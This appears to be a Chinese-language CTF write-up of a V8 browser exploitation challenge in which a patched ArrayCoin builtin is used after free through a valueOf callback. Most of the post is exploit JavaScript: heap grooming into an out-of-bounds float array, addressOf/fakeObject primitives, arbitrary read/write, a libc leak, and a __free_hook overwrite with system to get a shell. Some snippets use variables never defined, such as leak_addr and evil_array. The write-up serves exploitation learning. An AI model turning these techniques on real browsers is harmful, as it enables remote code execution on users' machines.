前言
继续学习浏览器漏洞的相关知识。
之前文章:
v8开坑+starCTF2019 oob:http://pwn.sofr.website/2020/06/01/v8%E5%BC%80%E5%9D%91/
关键字: CTF
pwn
browser
v8
数字经济
1 2
| git reset --hard 0ec93e047216979431bd6f147ab5956bb729afa2 git apply /home/sofr/browser_pwn/数字经济-final-browser/browser/diff.patch
|
题目信息
先查看diff:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index e6ab965a7e..9e5eb73c34 100644
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, } } // namespace
+// Vulnerability is here +// You can't use this vulnerability in Debug Build :) +BUILTIN(ArrayCoin) { + uint32_t len = args.length(); + if (len != 3) { + return ReadOnlyRoots(isolate).undefined_value(); + } + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + + Handle<Object> value; + Handle<Object> length; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, length, Object::ToNumber(isolate, args.at<Object>(1))); + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(2))); + + uint32_t array_length = static_cast<uint32_t>(array->length().Number()); + if(37 < array_length){ + elements.set(37, value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } + else{ + return ReadOnlyRoots(isolate).undefined_value(); + } +} +
|
这个diff中,添加了在数组第37个元素处写任意值的操作,但是同时这个coin函数又判断了当前的这个数组的长度必须小于37,但看这个函数是没有漏洞的,但是该函数可以通过valueOf
触发 callback
回调,回调函数可以通过对 array.length
的赋值来重新分配内存空间。然而,array
以及 element
均在执行回调之前就已经保存在局部变量中,后续在对 element
的赋值时也直接采用的是该局部变量,因此我们得到了一个 UAF
,并且可以这样利用:通过在 Callback
中扩大 Array
的 length
来强制 GC
重新 alloc
,之后通过分配巨量的 array
来占位原 array
的地址空间,最后通过 elements.set(37, value->Number())
来达到对原内存内容的修改。倘若我们修改的内存恰好是新占位 array
的 length
字段,那我们就得到了一个 OOB
数组。
思路
在分析完题目后,思路就有了,和starCTF的oob类似,构造一个addressOf和fakeObject语句,之后构造任意地址读写。最后修改free_hook达到最终的getshell。
首先,申请一个数组作为溢出的数组,之后申请一个float数组,准备溢出至改数组的length字段,之后用该数组实现越界的读写。同时为了后续的addressOf和fakeObject函数,我们申请了一个object的数组。
1 2 3 4 5
| var obj = {x:100}; var array = new Array(31); var float_array = [1.1];
var object_array = [obj,obj,obj,obj];
|
之后就是我们通过callback函数,进行漏洞利用:
1 2 3 4 5 6 7 8
| var object_array = [obj,obj,obj,obj]; var vuln = { valueOf:function(){ array.length = 40; return 1024; } } array.coin(1,vuln);
|
从gdb里面算一算偏移,可以找到应该申请多大的array用来刚好溢出到float_array的length字段。这里我计算出来是31。
之后,利用float_array来修改object_array的内容,可以分别用object_array正常写,float_array越界读来实现addressOf,使用float_array越界写,object_array正常读来实现fakeObejct。
1 2 3 4 5 6 7 8 9 10 11 12 13
| function addressOf(object) { object_array[0] = object; var address = float_array[7]; return f2i(address)-1n; }
function fakeObject(address) { float_array[7] = i2f(address); var fakeObject = object_array[0]; return fakeObject; }
|
最后,我的任意读写的语句和之前的starCTF的oob中的语句完全一样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| var a = [1.1, 2.2]; var a_constructor_addr = addressOf(a.constructor); console.log("[+] leak addr: " + hex(a_constructor_addr)); var fake_obj_addr = leak_addr+0x30n; var fake_obj = fakeObject(fake_obj_addr+1n); function read64(addr) { evil_array[2] = i2f(addr-0x10n+1n); var leak_data = f2i(fake_obj[0]); return leak_data; }
function write64(addr,data) { evil_array[2] = i2f(addr-0x10n+1n); fake_obj[0] = i2f(data); return; }
var data_buf = new ArrayBuffer(0x200); var data_view = new DataView(data_buf); function dataview_write(addr,data) { write64(addressOf(data_buf)+0x20n,addr); data_view.setFloat64(0,i2f(data),true); }
|
包括最后的利用也是一样的,唯一不一样的是text地址的偏移变了,这个自己重新算算就ok了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| var text_addr = (read64(read64(a_constructor_addr + 0x30n)-1n +0x40n) >> 16n) - 0xaf6c60n; console.log("[+] text addr: " + hex(text_addr));
var sprintf_got = text_addr+0xdbe770n; console.log("[+] sprintf got addr: " + hex(sprintf_got)); var libc_addr = read64(sprintf_got) - 0x65000n; console.log("[+] libc addr: " + hex(libc_addr)); var system_addr = libc_addr + 0x4f440n; var free_hook_addr = libc_addr + 0x3ed8e8n; console.log("[+] system addr: " + hex(system_addr)); console.log("[+] free hook addr: " + hex(free_hook_addr));
dataview_write(free_hook_addr,system_addr);
let get_shell_buffer = new ArrayBuffer(0x1000); let get_shell_dataview = new DataView(get_shell_buffer); get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn), true);
|
写在最后
如有错误欢迎指正:sofr@foxmail.com
之前文章:
v8开坑+starCTF2019 oob:http://pwn.sofr.website/2020/06/01/v8%E5%BC%80%E5%9D%91/